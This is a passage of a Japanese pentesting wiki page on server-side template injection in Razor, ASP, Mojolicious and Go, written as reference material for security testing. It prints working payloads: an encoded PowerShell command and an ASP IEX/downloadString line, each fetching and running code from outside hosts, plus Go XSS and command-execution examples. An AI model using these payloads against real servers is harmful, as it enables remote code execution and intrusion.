  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NETのSystem.Diagnostics.Process.Startメソッドは、サーバー上で任意のプロセスを開始し、Webシェルを作成するために使用できます。脆弱なWebアプリの例はhttps://github.com/cnotin/RazorVulnerableAppで見つけることができます。

詳細情報

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = 何もなし
  • <%= response.write(date()) %> = <日付>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

詳細情報

Mojolicious (Perl)

Perlを使用していても、RubyのERBのようなタグを使用します。

  • <%= 7*7 %> = 49
  • <%= foobar %> = エラー
<%= perl code %>
<% perl code %>

GOにおけるSSTI

バックエンドで使用されているテンプレートエンジンがGoであることを確認するために、以下のペイロードを使用できます

  • {{ . }} = テンプレートへの入力として渡されるデータ構造
  • 渡されたデータが例えばPassword属性を含むオブジェクトである場合、前述のペイロードはそれを漏洩させる可能性がありますが、{{ .Password }}とすることもできます。
  • {{printf "%s" "ssti" }} = レスポンスで文字列sstiを出力するはずです
  • {{html "ssti"}}, {{js "ssti"}} = 文字列 "ssti" を "js" や "html" という単語なしで出力する他のいくつかのペイロードです。エンジン内のさらなるキーワードについてはこちらを参照してください。

XSSの悪用

サーバーが text/template パッケージを使用している場合、XSSは単に入力としてペイロードを提供することで非常に簡単に達成できます。しかし、html/template ではレスポンスをHTMLエンコードするため、これは当てはまりません {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

しかし、Goでは全体のテンプレートをDEFINEして、後でそれを呼び出すことができます。ペイロードは次のようになります:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

RCEの悪用

html/templateモジュールのドキュメントはこちらで見つけることができ、text/templateモジュールのドキュメントはこちらで見つけることができます。そして、はい、それらは大きく異なります。例えば、text/templateでは、"call"値を使って任意の公開関数を直接呼び出すことができますが、html/templateではそうはいきません。

GoでSSTIを介してRCEを見つけたい場合、{{ . }}でテンプレートに渡されたオブジェクトにアクセスできるように、オブジェクトのメソッドを呼び出すこともできることを知っておくべきです。したがって、渡されたオブジェクトにSystemというメソッドがあり、与えられたコマンドを実行する場合、それを悪用することができます: {{ .System "ls" }}
そのため、おそらくソースコードが必要になるでしょう。そのようなものの潜在的なソースコードは次のようになります:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

詳細情報

その他のエクスプロイト

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection でさらに多くのエクスプロイトを確認してください。また、https://github.com/DiogoMRSilva/websitesVulnerableToSSTI で興味深いタグ情報を見つけることができます。

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

関連するヘルプ

役立つと思われる場合は、以下を読んでください:

ツール

{% embed url="https://github.com/Hackmanit/TInjA" %}

{% embed url="https://github.com/vladko312/sstimap" %}

{% embed url="https://github.com/epinna/tplmap" %}

{% embed url="https://github.com/Hackmanit/template-injection-table" %}

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

練習と参考資料

RootedCON は、スペインで最も重要なサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識の普及を使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。

{% embed url="https://www.rootedcon.com/" %}

htARTE (HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法